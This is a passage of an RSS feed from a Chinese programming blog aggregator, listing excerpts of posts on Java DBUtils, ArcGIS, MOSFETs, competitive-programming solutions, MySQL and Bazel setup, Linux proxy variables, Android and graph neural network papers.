nothing之后，我们的项目就会不自动编译（在我们没有进行自动编译的设置基础上）。不过我更建议使用手动编译，毕竟也就是点一下的事情，开启自动编译多少还是会耗费计算机性能。开启自动编译的方式，也请自行百度。&#xA;Debug启动项目的情况下，可以点击小甲虫图标用于更新我们想要的资源。&#xA;但我发现不同版本的IDEA这个小甲虫图标的点击效果不一样，具体操作根据你的IDEA再看</description>
    </item>
    <item>
      <title>DBUtils的介绍</title>
      <link>https://bchobby.github.io/posts/5b39afad85b9907209873629b1311fb1/</link>
      <pubDate>Fri, 09 Oct 2020 00:48:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b39afad85b9907209873629b1311fb1/</guid>
      <description>目录 一、DBUtils简介二、JDBC的一般性流程三个接口总结 一、DBUtils简介 JDBC即Java数据库连接，而DBUtils为工具类，是为数据库连接提供简便的，因为在连接过程中，会出现代码重复，可读性不好，而工具类就是把这些重复的地方封装起来，对代码进行简化，可读性也会增强。&#xA;二、JDBC的一般性流程 加载驱动（Driver Manger）&#xA;获得链接（Driver Manger，Connection）&#xA;获得执行sql对象（Statement，PreparStatement）&#xA;解析结果集（ReslutSet）&#xA;释放资源（close()）&#xA;在这五个流程中，都可以使用DBUtils来简化代码。&#xA;三个接口 三个API（都是接口，主要依靠底层的实现子类）：&#xA;org.apache.commons.dbutils.QueryRunner ; 查询器&#xA;org.apache.commons.dbutils.ResultSetHandler ; 结果处理器&#xA;org.apache.commons.dbutils.Dbutils; 普通工具&#xA;QueryRunner: 增删改查 (线程安全)&#xA;new QueryRunner(); 它的事务可以手动控制。也就是说此对象调用的方法（如：query、update、batch）参数中要有Connection对象。&#xA;new QueryRunner(DataSource ds); 它的事务是自动控制的。一个sql一个事务。此对象调用的方法（如：query、update、batrch）参数中无需Connection对象。&#xA;小结:简化了SQL语句&#xA;public void testQuery1(){ //之前做法 Connection connection = MyDBUtil.getconnection(); //查看API，QueryRunner的构造方法有4个，2个给Oracle， //其他两个，一个无参，一个参数为DataSource DataSource dataSource = MyDBUtil.getDataSource(); QueryRunner QR = new QueryRunner(dataSource); //查看QueryRunner的成员方法，只需要查看query()的重载方法 //构造方法为一参的有数据源的话，就不用传入connection //构造方法为无参构造方法的话，就要传入connection //查询所有用户，需要返回的是所有User的集合 users = new ArrayList&amp;lt;&amp;gt;(); ArrayList&amp;lt;User&amp;gt; users = QR.query(&#34;select * from tt_user;&#34;,new ResultSetHandler&amp;lt;ArrayList&amp;lt;User&amp;gt;&amp;gt;(){ @Override public ArrayList&amp;lt;User&amp;gt; handle(ResultSet result){ while(result.</description>
    </item>
    <item>
      <title>ArcGIS API For Javascript（针对版本4.x）</title>
      <link>https://bchobby.github.io/posts/ccec89a9b49d52aa33c98e596cd88248/</link>
      <pubDate>Fri, 09 Oct 2020 00:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccec89a9b49d52aa33c98e596cd88248/</guid>
      <description>来源：&#xA;https://www.bilibili.com/video/BV1Mf4y1D7Eb&#xA;ArcGIS APl for JavaScript是什么?&#xA;用来构建2D和3D地图应用的一套简单、易用的API，具备强大制图能力和基于数据驱动的地图可视化能力，用来构建WebGIS系统。&#xA;特性:三维支持更加完善，BIM支持进一步加强&#xA;特性:三维与GP服务结合，解决三维世界更多实际问题。&#xA;特性:根据用户需求和发展趋势，不断增加和更新功能&#xA;特性:数据驱动的可视化，让数据变得更加直观和美观&#xA;升级指南 属性: ○例如:&#xA;○在3.x中，设置要素图层的definitionExpression看起来类似于:&#xA;.myFeatureLayer.setDefinitionExpression(expression);&#xA;○在4.0中设置要素图层的definitionExpression，使用如下形式:&#xA;.myFeatureLayer.definitionExpression = expression;&#xA;o在4.0之前，可以通过调用get MethodName或set MethodName来获取&#xA;(读取）或设置（写入）一些属性。由于4.xAPl支持获取和设置所有属性，因此不再需要这些类型的方法。&#xA;监听属性变化 在4.0之前，属性更改是通过事件处理的。在4.x中，监听属性变化变得更加容易。4.x版本通过.watch(property,callback)方法处理。每次属性更改时都会调用回调，并允许您获取属性的新值，旧值和名称以及监听对象。&#xA;·例如:&#xA;每次地图底图的标题发生变化时，都会触发回调。&#xA;Views 一、在4.x中，地图可以以2D或3D形式显示。因此，绘图逻辑进行了&#xA;修订，Map和Layers不再处理绘图逻辑，而是由Views处理。&#xA;二、Views是4.x版本中引入的概念。Views可以是以下两种类型之一:&#xA;MapView，适用于2D;&#xA;SceneView，适用于3D工作;&#xA;三、Views专门用于可视化地图或场景中的数据。地图包含要显示的实际数据或图层，而Views负责显示这些数据。这些数据的可视化或显示方式取决于您是使用2D还是3D。&#xA;四、Views具有对地图的引用，例如view.map。但是地图没有对Views的引用。重要的是，多个Views可以使用同一个地图。&#xA;Autocasting: Autocasting用于将JavaScript对象转换为ArcGlS APl for JavaScript类类型，而无需使用require()加载这些类。&#xA;下面使用示例说明使用Autocasting编程的不同。&#xA;Autocasting:&#xA;ArcGlS APl for JavaScript将获取传递给构造函数中属性的值，并在内部实例化类型化对象。&#xA;Promise 01*&#xA;Promise在ArCGIS API for JavaScript中发挥着重要作用。使用promises&#xA;可以在处理异步操作时编写更清晰的代码。&#xA;02*&#xA;Promise通常用于then()。这是一个强大的方法，它定义了在解析promise时调用的回调函数，以及在promise被拒绝时调用的错误函数。第一个参数始终是成功回调，第二个可选参数是错误回调。&#xA;03*&#xA;使用Promises的一个好处是利用then()将多个Promise链接在一起。回调函数必须使用return关键字将解析值返回到下一个Promise。&#xA;someAsyncFunction().then(callback,errorCallback);&#xA;重要的API Map Map对象仅仅是个容器，存储了baselayers和operational layers包含的地理相关信息。&#xA;Map对象包含一系列属性和方法来存储、管理和叠加图层到2D和3D场景中。&#xA;View View为Map对象提供的一种渲染和交互的方式;&#xA;View是MapView和SceneView的基类，本身没有构造函数，只能通过MapView或者SceneView来创建实例。&#xA;View和Map的关系 实例：GraphicsLayer用于加载图形（点击弹出事件）</description>
    </item>
    <item>
      <title>三极管</title>
      <link>https://bchobby.github.io/posts/907aa0d4dc1be8df54393cd9768c05f1/</link>
      <pubDate>Thu, 08 Oct 2020 22:04:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/907aa0d4dc1be8df54393cd9768c05f1/</guid>
      <description>三个极怎么判定&#xA;G极(gate)—栅极，不用说比较好认&#xA;S极(source)—源极，不论是P沟道还是N沟道，两根线相交的就是&#xA;D极(drain)—漏极，不论是P沟道还是N沟道，是单独引线的那边&#xA;N沟道还是P沟道&#xA;箭头指向G极的是N沟道&#xA;箭头背向G极的是P沟道&#xA;寄生二极管方向如何判定&#xA;不论N沟道还是P沟道MOS管，中间衬底箭头方向和寄生二极管的箭头方向总是一致的：&#xA;要么都由S指向D，要么都有D指向S&#xA;MOS开关实现的功能&#xA;1&amp;gt;信号切换&#xA;2&amp;gt;电压通断&#xA;MOS管用作开关时在电路中的连接方法&#xA;关键点:&#xA;1&amp;gt;确定那一极连接输入端，那一极连接输出端&#xA;2&amp;gt;控制极电平为？V 时MOS管导通&#xA;3&amp;gt;控制极电平为？V 时MOS管截止&#xA;、&#xA;NMOS：D极接输入，S极接输出&#xA;PMOS：S极接输入，D极接输出&#xA;MOS管的开关条件&#xA;N沟道—导通时 Ug&amp;gt; Us,Ugs&amp;gt; Ugs(th)时导通&#xA;P沟道—导通时 Ug&amp;lt; Us,Ugs&amp;lt; Ugs(th)时导通&#xA;总之，导通条件：|Ugs|&amp;gt;|Ugs(th)|&#xA;相关概念&#xA;BJT&#xA;Bipolar Junction Transistor 双极性晶体管，BJT是电流控制器件；&#xA;FET&#xA;Field Effect Transistor 场效应晶体管，FET是电压控制器件.&#xA;按结构场效应管分为：结型场效应（简称JFET）、绝缘栅场效应（简称MOSFET）两大类&#xA;按沟道材料：结型和绝缘栅型各分N沟道和P沟道两种.&#xA;按导电方式：耗尽型与增强型，结型场效应管均为耗尽型，绝缘栅型场效应管既有耗尽型的，也有增强型的。&#xA;总的来说场效应晶体管可分为结场效应晶体管和MOS场效应晶体管，而MOS场效应晶体管又分为N沟耗尽型和增强型；P沟耗尽型和增强型四大类。&#xA;MOS管重要参数&#xA;①封装&#xA;②类型（NMOS、PMOS）&#xA;③耐压Vds（器件在断开状态下漏极和源极所能承受的最大的电压）&#xA;④饱和电流Id&#xA;⑤导通阻抗Rds&#xA;⑥栅极阈值电压Vgs(th)</description>
    </item>
    <item>
      <title>「NOIP2016」蚯蚓</title>
      <link>https://bchobby.github.io/posts/d137ed4c60d794543b5bb0b77274acf4/</link>
      <pubDate>Thu, 08 Oct 2020 17:08:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d137ed4c60d794543b5bb0b77274acf4/</guid>
      <description>description 传送门 solution 因为每次蚯蚓长度的变化是对除去剪断的蚯蚓外，所有蚯蚓同时变化的，所以容易想到用一个大根堆维护所有蚯蚓的长度，每次长度变化改为新产生的蚯蚓长度 − q -q −q但是这样是 O ( m l o g n ) O(mlogn) O(mlogn)的，无法通过本题考虑2个蚯蚓的长度 x x x与 y y y，其中 x x x比 y y y先从堆中取出，故 x ≥ y x\ge y x≥y，那么产生的新蚯蚓长度 ⌊ p x ⌋ ≥ ⌊ p y ⌋ \lfloor px \rfloor\ge\lfloor py \rfloor ⌊px⌋≥⌊py⌋，且 ⌊ ( 1 − p ) x ⌋ ≥ ⌊ ( 1 − p ) y ⌋ \lfloor (1-p)x \rfloor\ge\lfloor (1-p)y \rfloor ⌊(1−p)x⌋≥⌊(1−p)y⌋，所以先产生的第一类蚯蚓一定比后产生的第一类蚯蚓长，先产生的第二类蚯蚓一定比后产生的第二类蚯蚓长所以可以使用三个队列分别维护原有的蚯蚓以及产生的2类蚯蚓，则后2个队列保证单调，接下来只需要让初始的蚯蚓按长度从大到小插入第一个队列，就可以保证每次操作中选中的蚯蚓一定是三个队列队首中最大的一个，就可以 O ( 1 ) O(1) O(1)完成操作了总复杂度 O ( n l o g n + m ) O(nlogn+m) O(nlogn+m) code #include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdio&amp;gt; #include&amp;lt;cmath&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;queue&amp;gt; using namespace std; const int N=1e5+10; int n,m,d,del,u,v,t,a[N]; double p; inline int read(){ int x=0,f=1;char ch=getchar(); while(!</description>
    </item>
    <item>
      <title>C&#43;&#43;使用sort函数对vector的任意区间排序(某一段元素排序)</title>
      <link>https://bchobby.github.io/posts/433414b8979739620d3609262beb276b/</link>
      <pubDate>Thu, 08 Oct 2020 16:08:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/433414b8979739620d3609262beb276b/</guid>
      <description>使用迭代器进行区间指定，注意start和end为前闭后开区间；sort函数内也可自行添加cmp比较函数，默认为从小到大排序。&#xA;#include &amp;lt;vector&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; int main(){ vector&amp;lt;int&amp;gt;input = { 1, 5, 2, 1, 3, 2, 5 }; //排序整个vector //sort(input.begin(), input.end()); //对任意区间进行排序，同样使用迭代器 auto start = input.begin()+2;//下标对应2 auto end = start +3;//下标对应5 sort(start, end);//区间[2，5)进行排序 for (auto itr : input){ cout &amp;lt;&amp;lt; itr &amp;lt;&amp;lt; &#34; &#34;; } cout &amp;lt;&amp;lt; endl; return 0; } 运行结果如下</description>
    </item>
    <item>
      <title>2020TI省级大学生电子竞赛推荐芯片简介</title>
      <link>https://bchobby.github.io/posts/15c83ca4834663aab6f19cfbb0065a8d/</link>
      <pubDate>Thu, 08 Oct 2020 13:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15c83ca4834663aab6f19cfbb0065a8d/</guid>
      <description>2020TI省级大学生电子竞赛推荐芯片简介&#xA;2020TI省级大学生电子竞赛芯片 不知道用什么单片机？不知道用什么AD/DA模块，不知道用什么运放，不知道用什么稳压器?&#xA;所以官方给了一些推荐的。&#xA;我也是第二时间给大家安排上了，每种芯片的半句话简介。&#xA;搜了搜，相信对每位参加电赛的同学选择时候会有所启发。&#xA;手搜不易，别忘了点赞。&#xA;1&#xA;MSP430F5529&#xA;MSP430F5529-T&#xA;具有 128KB 闪存、8KB SRAM、12 位 ADC、比较器、DMA、UART/SPI/I2C、USB 和硬件乘法器的 25MHz MCU&#xA;2&#xA;MSP432P401R&#xA;MSP432P401R-T&#xA;具有精密 ADC、256KB 闪存和 64KB RAM 的 SimpleLink™ 超低功耗 32 位 Arm Cortex-M4F MCU&#xA;3&#xA;ADS1118&#xA;ADS1118-T&#xA;具有 PGA、振荡器、电压基准、温度传感器和 SPI 的 16 位、860SPS、4 通道 Δ-Σ ADC&#xA;4&#xA;ADS112C04&#xA;ADS112C04-T&#xA;具有 PGA、VREF、2 个 IDAC 和 I2C 接口的 16 位 2kSPS 4 通道低功耗小型 Δ-Σ ADC&#xA;5&#xA;ADS7142&#xA;ADS7142-T&#xA;具有 1.8V 运行电压并采用 1.</description>
    </item>
    <item>
      <title>pymysql.err.OperationalError: (1698, “Access denied for user ‘root‘@‘localhost‘“)</title>
      <link>https://bchobby.github.io/posts/e717f98265a10b62d4ee641846587fc9/</link>
      <pubDate>Thu, 08 Oct 2020 10:37:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e717f98265a10b62d4ee641846587fc9/</guid>
      <description> pymysql.err.OperationalError: (1698, “Access denied for user ‘root’@‘localhost’”) $ sudo mysql -u root mysql&amp;gt; USE mysql; mysql&amp;gt; UPDATE user SET plugin=&#39;mysql_native_password&#39; WHERE User=&#39;root&#39;; mysql&amp;gt; FLUSH PRIVILEGES; mysql&amp;gt; exit; $ service mysql restart </description>
    </item>
    <item>
      <title>LOJ#539. 「LibreOJ NOIP Round #1」旅游路线</title>
      <link>https://bchobby.github.io/posts/7ce3b42ce09e26dca9e1ecf2bd425c11/</link>
      <pubDate>Wed, 07 Oct 2020 19:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ce3b42ce09e26dca9e1ecf2bd425c11/</guid>
      <description>description 题面较长，这里给出题目链接 solution 考虑预处理出 f [ i ] [ j ] f[i][j] f[i][j]表示在第 i i i个点加满油后，从第 i i i个点出发，至多消耗 j j j元钱走过的最大路程，那么对于每一个询问就可以二分答案 O ( l o g q ) O(logq) O(logq)查询了可以得出转移方程 f [ i ] [ k ] = max ⁡ ( f [ j ] [ k − p [ j ] ] + g [ i ] [ j ] , f [ i ] [ k ] ) f[i][k]=\max(f[j][k-p[j]]+g[i][j],f[i][k]) f[i][k]=max(f[j][k−p[j]]+g[i][j],f[i][k])，其中 g [ i ] [ j ] g[i][j] g[i][j]表示从在 i i i点加满油后从 i i i走到 j j j能走过的最大路程 g g g可以使用倍增 f l o y d floyd floyd预处理出 h [ k ] [ i ] [ j ] h[k][i][j] h[k][i][j]表示从 i i i走到 j j j,至多走 2 k 2^k 2k步的最长路程后求出。倍增 f l o y d floyd floyd代码： for(int k=1;k&amp;lt;=16;++k){ memcpy(h[k],h[k-1],sizeof(h[k])); for(int w=1;w&amp;lt;=n;++w) for(int i=1;i&amp;lt;=n;++i) for(int j=1;j&amp;lt;=n;++j) if(h[k-1][i][w]&amp;gt;inf&amp;amp;&amp;amp;h[k-1][w][j]) h[k][i][j]=max(h[k][i][j],h[k-1][i][w]+h[k-1][w][j]); } 于是我们就可以 O ( n 3 l o g C ) O(n^3logC) O(n3logC)完成预处理，总时间复杂度 O ( n 3 l o g C + T l o g q ) O(n^3logC+Tlogq) O(n3logC+Tlogq) code #include&amp;lt;bits/stdc++.</description>
    </item>
    <item>
      <title>less常见使用方法</title>
      <link>https://bchobby.github.io/posts/d53294c491f62969c7b249f730beb42f/</link>
      <pubDate>Tue, 06 Oct 2020 13:54:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d53294c491f62969c7b249f730beb42f/</guid>
      <description>1. 变量 // Variables @link-color: #428bca; // sea blue @link-color-hover: darken(@link-color, 10%); // Usage a, .link { color: @link-color; } a:hover { color: @link-color-hover; } .widget { color: #fff; background: @link-color; } Selectors&#xA;v1.4.0&#xA;// Variables @my-selector: banner; // Usage .@{my-selector} { font-weight: bold; line-height: 40px; margin: 0 auto; } Compiles to:&#xA;.banner { font-weight: bold; line-height: 40px; margin: 0 auto; } URLs&#xA;// Variables @images: &#34;../img&#34;; // Usage body { color: #444; background: url(&#34;</description>
    </item>
    <item>
      <title>Python编写简单的计算器，用户输入两个数字和一个四则运算符，计算结果</title>
      <link>https://bchobby.github.io/posts/f93952fe7c4b650dc74b304a3ebf96f9/</link>
      <pubDate>Mon, 05 Oct 2020 17:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f93952fe7c4b650dc74b304a3ebf96f9/</guid>
      <description>一、程序要求 （1）提示用户从键盘输入第一个数字&#xA;（2）提示用户从键盘输入第二个数字&#xA;（3）提示用户选择运算符&#xA;（4）打印结果&#xA;二、代码实现 a = int(input(&#34;请输入第一个数：&#34;)) b = int(input(&#34;请输入第二个数：&#34;)) symbol = input(&#34;请输入四则运算符号：(+-*/)&#34;) if symbol == &#34;+&#34;: print(&#34;%s%s%s=%s&#34;%(a,symbol,b,a+b)) elif symbol == &#34;-&#34;: print(&#34;%s%s%s=%s&#34;%(a,symbol,b,a-b)) elif symbol == &#34;*&#34;: print(&#34;%s%s%s=%s&#34;%(a,symbol,b,a*b)) elif symbol == &#34;/&#34;: if b == 0: print(&#34;除数不能为零&#34;) else:print(&#34;%s%s%s=%s&#34;%(a,symbol,b,a/b)) else: print(&#34;符号输入有误，请重新输入！！！&#34;) 三、运行结果图 加法：&#xA;乘法：</description>
    </item>
    <item>
      <title>Quartus Prime基本使用方法及仿真遇到的错误</title>
      <link>https://bchobby.github.io/posts/daee4cc5aa540ba819de96c9a964a11a/</link>
      <pubDate>Sun, 04 Oct 2020 21:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daee4cc5aa540ba819de96c9a964a11a/</guid>
      <description>Quartus Prime基本使用方法 前言1. 电路图2.VHDL/Verilog HDL语言3.自底向上（语言+原理图）4.两种仿真方式 前言 Quartus常用的几种设计方法，电路图、直接使用语言或者两者结合的方法，本文简要介绍三种方法及可能出现的问题以及两种仿真方式。&#xA;1. 电路图 这种方式适合门级电路，搭建简易的电路模块。&#xA;首先新建Block Diagram/Schematic File&#xA;2. 打开新创建的.bdf文件。双击空白处课添加所需门单元以及更大的电路单元。&#xA;3. 电路搭建成功后，编译即可。 2.VHDL/Verilog HDL语言 同上，新建VHDL/Verilog HDL文件写相关代码，编译即可 3.自底向上（语言+原理图） 注意：顶层实体名需要与bdf的命名相同用VHDL/Verilog HDL语言编写不同的电路单元，生成符号文件。新建bdf文件，双击，在project中可以发现刚刚创建的电路单元。&#xA;4. 将电路单元连线后即可编译。 4.两种仿真方式 直接用Quartus中的仿真 创建University Program VWF文件&#xA;打开创建的波形文件，在空白处双击，添加所需观察的节点&#xA;点击node Finder，通过list可以显示电路节点&#xA;将寻找到的节点移入选择的节点中，点击OK确认&#xA;点击OK确认&#xA;显示波形文件&#xA;通过菜单栏快捷按钮，可置0，置1，设置时钟，选择功能仿真或者时序仿真，出现仿真波形。&#xA;可能出现的错误&#xA;1 文件路径错误Error (199014): Vector source file F:/quartuslite/Waveform2.vwf specified with --testbench_vector_input_file option does not exist&#xA;Error: Quartus Prime EDA Netlist Writer was unsuccessful. 1 error, 1 warning&#xA;Error: Peak virtual memory: 4723 megabytes</description>
    </item>
    <item>
      <title>Linux下安装Bazel</title>
      <link>https://bchobby.github.io/posts/9f3f28c3c063df36d8fee197d2a83ed1/</link>
      <pubDate>Sun, 04 Oct 2020 16:30:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f3f28c3c063df36d8fee197d2a83ed1/</guid>
      <description>官网很详细&#xA;Linux版本:&#xA;第一步:&#xA;sudo apt install curl gnupg curl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor &amp;gt; bazel.gpg sudo mv bazel.gpg /etc/apt/trusted.gpg.d/ echo &#34;deb [arch=amd64] https://storage.googleapis.com/bazel-apt stable jdk1.8&#34; | sudo tee /etc/apt/sources.list.d/bazel.list 第二步:&#xA;sudo apt update &amp;amp;&amp;amp; sudo apt install bazel 若已安装bazel&#xA;sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade 第三步(非必须)&#xA;sudo apt install openjdk-8-jdk 检查bazel是否安装成功:&#xA;输入bazel看结果即可</description>
    </item>
    <item>
      <title>source /etc/profile后，新的环境变量只能在一个终端里</title>
      <link>https://bchobby.github.io/posts/b24fc11267f55db97c3112e93badc175/</link>
      <pubDate>Sat, 03 Oct 2020 23:22:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b24fc11267f55db97c3112e93badc175/</guid>
      <description>一、问题的提出 我的实验环境是开了一个Ubuntu的虚拟机，想给它配置个代理，由于我想让使用该虚拟机的所有用户都能使用代理，所以我首先切换到root用户，然后进入到/etc/profile.d目录下（至于我为什么不直接修改/etc/profile文件请自行查阅了解），我新建一个proxy.sh文件，使用vim编辑，内容如下:&#xA;export proxy=&#34;http://192.168.124.6:1080&#34; export http_proxy=$proxy export https_proxy=$proxy export ftp_proxy=$proxy export no_proxy=&#34;localhost,127.0.0.1,::1&#34; 然后，以root用户的身份，执行&#xA;source /etc/profile 接着我使用&#xA;curl www.google.com 发现能够愉快地“出去”。&#xA;接着我退出root用户，回到普通用户，发现刚刚的环境变量的设置并未对普通用户有效（也就是说，我的代理对于普通用户来说没有设置成功），于是乎，我立马以普通用户的身份打开一个终端，执行&#xA;source /etc/profile 然后也能愉快地“出去”，但是问题是，当以普通用户的身份重新打开一个终端时，先前设置的环境变量已经失效了。&#xA;二、解决方案 2.1 重启Ubuntu即可。 2.2 将上述配置写在~/.bashrc中 2.3 在~/.bashrc中最后加入source /etc/profile 三、解决后的思考 3.1 /etc/profile 它是一个文件，不建议修改它里面的内容，它里面的内容默认如下：&#xA;# /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) # and Bourne compatible shells (bash(1), ksh(1), ash(1), ...). if [ &#34;${PS1-}&#34; ]; then if [ &#34;${BASH-}&#34; ] &amp;amp;&amp;amp; [ &#34;$BASH&#34; != &#34;/bin/sh&#34; ]; then # The file bash.</description>
    </item>
    <item>
      <title>Android粗浅系统学习（适合入门）</title>
      <link>https://bchobby.github.io/posts/630ce3e30a078c2cef06edc2b9f0b86e/</link>
      <pubDate>Sat, 03 Oct 2020 21:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/630ce3e30a078c2cef06edc2b9f0b86e/</guid>
      <description>https://www.emperinter.info/2020/10/03/android-study/ AndroidStudy Android系统学习的笔记!系统但并非详细！图片并不能直接上传到文档中，如需了解详情请访问：https://www.emperinter.info/2020/10/03/android-study/&#xA;参考视频 可惜没有网络,json,xml等等的教程！还有没有6教程这个有点懵圈，自己在B站上找到出处也是没有的，而且B站有多几个教程！&#xA;学习的主要来源：&#xA;YouTube（不全） | https://www.youtube.com/watch?v=sehxt5wbsgM&amp;amp;list=PLoDvOw64tSYsWvlxk9aIDOGPVrFQeHull&#xA;B站（较全） | https://www.bilibili.com/video/BV1Rt411e76H?p=36&#xA;util | 工具类 布局 LinearLayout GridLayout Button,View等 Button 继承自 TextView&#xA;EditText 继承自 TextView​&#xA;ImageView scaleType | 值 | 含义 |&#xA;| :------------: | :------------: |&#xA;| fitXY | 撑满控件，宽高比可能发生改变 |&#xA;| fitCenter | 保持宽高缩放，直至能够完全显示 |&#xA;|centerCrop| 保持宽高比缩放，直至完全覆盖控件，剪裁显示|&#xA;网络图片 | 第三方库 ListView | Grid View Adapter 写法&#xA;ScrollView 只能有一个子元素&#xA;分类 垂直滚动： ScrollView&#xA;水平滚动: HorizontalScrollView&#xA;RecyclerView（使用较多） 灵活实现大数据集的展示，视图的复用管理比Listview更好，能够显示列表、网格、瀑布流等形式，且不同的ViewHoler能够实现item多元化的功能；&#xA;LinearRecyclerView 分隔线；</description>
    </item>
    <item>
      <title>论文笔记：AAAI 2019 Hypergraph Neural Networks</title>
      <link>https://bchobby.github.io/posts/d967efa2a055588ba6bb8c658356a9f9/</link>
      <pubDate>Sat, 03 Oct 2020 12:11:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d967efa2a055588ba6bb8c658356a9f9/</guid>
      <description>1. 前言 论文链接：http://gaoyue.org/paper/HGNN.pdf&#xA;github：https://github.com/iMoonLab/HGNN&#xA;在本文中提出了一个用于数据表示学习的超图神经网络(HGNN)框架，它可以在超图结构中编码高阶数据相关性。面对在实践中学习复杂数据表示的挑战，特别是在处理复杂数据时，超图在数据建模方面更加灵活。该方法设计了超边卷积运算来处理表示学习过程中的数据相关性。通过这种方法，可以有效地利用超边卷积运算来进行传统的超图学习。HGNN能够学习考虑到高阶数据结构的隐含层表示，这是考虑复杂数据相关性的通用框架。我们进行了引文网络分类和视觉对象识别任务的实验，并将HGNN与图卷积网络等传统方法进行了比较。&#xA;2. 背景 在现实世界中，复杂的网络关系单纯依靠普通图边的表示有时并不足以很好的阐释，例如在社交网络中推特和微博之间的视觉链接、文字链接、社会性链接。&#xA;图1提供了社交媒体数据上的复杂连接示例。&#xA;一方面，数据相关性可能比两两关系更复杂，难以用普通图结构建模。另一方面，数据表示往往是多模式的，如本例中的视觉连接、文本连接和社会连接。在这种情况下，传统的图结构在表述数据相关性方面存在局限性，这就限制了图卷积神经网络的应用。在这种情况下，进一步研究更好、更通用的数据结构模型来学习表示就显得尤为重要和迫切。 为了解决这一问题，本文提出了一个超图神经网络(HGNN)框架，该框架使用超图结构进行数据建模。与所有边的度都必须为2(一条边仅连接两个节点，因此普通图中边的度为2)的简单图相比，超图可以使用其无限制的度超边编码高阶数据相关性(超越成对连接)，如图2所示。在图2中，图是用邻接矩阵表示的，其中每条边仅连接两个顶点。相反，超图可以通过其灵活的超边扩展以实现多模态、异构的数据表示。例如，一个超图可以通过合并邻接矩阵，联合使用多模态数据来生成超图，&#xA;因此，hypergraph已经被用于许多计算机视觉任务，如分类和检索任务(Gao et al. 2012)。然而，传统的超图学习方法(Zhou, Huang, and Scholkopf 2007)存在计算复杂度高和存储成本高的问题，限制了超图学习方法的广泛应用。&#xA;本文提出的HGNN将复杂数据相关性表述为超图结构，并设计了超边卷积操作，以更好地利用高阶数据相关性进行表示学习。更具体地说，HGNN是一个通用框架，它可以合并多模态数据和复杂的数据相关性。传统的图卷积神经网络可以看作是HGNN的一个特例。为了评估提出的HGNN框架的性能，进行了引文网络分类和视觉对象识别任务的实验。在4个数据集上的实验结果以及与图卷积网络(GCN)等传统方法的比较表明，HGNN具有更好的性能。这些结果表明，本文提出的HGNN方法在学习使用高阶复杂关联表示的数据时更加有效。&#xA;本文创新点如下：&#xA;提出一个超图神经网络框架，即HGNN，用于使用超图结构进行表示学习。HGNN能够通过其超图结构表达复杂的、高阶的数据相关性。并且使用超边卷积操作有效地处理多模态数据/特征。此外，GCN (Kipf和Welling 2017)可以看作是HGNN的一种特殊情况，其简单图中的边可以看作是仅连接两个顶点的2阶超边。该模型在引文网络分类和视觉对象分类任务方面进行了广泛的实验。与最先进的方法的比较证明了所提出的HGNN框架的有效性。实验表明，该方法在处理多模态数据时具有较好的性能。 3. HGNN 3.1 模型框架 从图中大概可以看出来，整个模型的思路是首先将多模态的数据关系作为输入(其中包含训练数据和测试数据)，将他们同时考虑进行超边的生成(一种半监督的学习策略，与2017年的经典GCN方法类似，属于一种直推式的学习方法)。将生成的超边组进行超图卷积得到最后的结果，根据下游任务的要求进行输出。&#xA;3.2 Hypergraph learning statement 相关超图的定义问题就不再赘述，如果有些概念不清楚可以参考我的前两篇文章&#xA;https://blog.csdn.net/qq_44015059/article/details/108871728&#xA;https://blog.csdn.net/qq_44015059/article/details/108901941&#xA;这里直接给出论文中超图关联矩阵的表达形式&#xA;之后考虑下游任务之一的超图节点分类任务(在本文中以引文网络为例)，那么这个任务的目标函数可以定义为&#xA;其中 Ω ( f ) \Omega(f) Ω(f) 代表超图的规范化处理过程， R e m p ( f ) \mathcal{R}_{emp}(f) Remp​(f) 代表监督的损失， f ( ⋅ ) f(\cdot) f(⋅) 代表分类的函数。其中 Ω ( f ) \Omega(f) Ω(f) 被定义为</description>
    </item>
    <item>
      <title>pyuic5: error: no such option: -m的问题解决</title>
      <link>https://bchobby.github.io/posts/f7ce3aa90f240941cc79aaf5d86ea76f/</link>
      <pubDate>Fri, 02 Oct 2020 19:42:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7ce3aa90f240941cc79aaf5d86ea76f/</guid>
      <description>背景&#xA;pycharm使用pyqt5做gui，将.ui文件转换为.py文件时，出现错误：pyuic5: error: no such option: -m&#xA;解决&#xA;external tools里的pyui5中的arguments改为：&#xA;$FileName$ -o $FileNameWithoutExtension$.py 即可。</description>
    </item>
    <item>
      <title>论文笔记：KDD 2020 Multi-level Graph Convolutional Networks for Cross-platform Anchor Link Prediction</title>
      <link>https://bchobby.github.io/posts/7926120d76f9363ae4508fc243194e4e/</link>
      <pubDate>Fri, 02 Oct 2020 17:42:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7926120d76f9363ae4508fc243194e4e/</guid>
